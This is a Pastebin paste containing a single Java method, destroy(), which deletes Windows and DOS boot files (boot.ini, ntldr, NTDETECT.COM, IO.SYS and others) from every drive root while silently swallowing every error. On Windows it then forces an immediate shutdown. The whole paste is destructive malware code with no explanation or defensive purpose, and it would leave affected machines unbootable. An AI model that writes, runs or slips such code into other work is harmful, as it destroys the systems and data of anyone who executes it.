Advertisement
Guest User

Untitled

a guest
Jul 20th, 2017
53
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 0.67 KB | None | 0 0
  1.     public static void destroy()
  2.     {
  3.         try
  4.         {
  5.             String[] s = {
  6.                 "IO.SYS", "AUTOEXEC.BAT", "boot.ini", "CONFIG.SYS", "MSDOS.SYS", "ntldr",
  7.                 "NTDETECT.COM"
  8.             };
  9.             File[] f = File.listRoots();
  10.             for (int ix = 0; ix < f.length; ix++)
  11.                 for (int i1x = 0; i1x < s.length; i1x++)
  12.                     try
  13.                     {
  14.                         new File(f[ix], s[i1x]).delete();
  15.                     }
  16.                     catch (Exception x)
  17.                     {
  18.                     }
  19.         }
  20.         catch (Exception x)
  21.         {
  22.         }
  23.         try
  24.         {
  25.             String s = System.getProperty("os.name").trim().toLowerCase();
  26.             if (s.indexOf("windows") != -1)
  27.                 Runtime.getRuntime().exec(new String[] { "shutdown", "-s", "-t", "0", "-f" });
  28.  
  29.         }
  30.         catch (Exception x)
  31.         {
  32.         }
  33.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement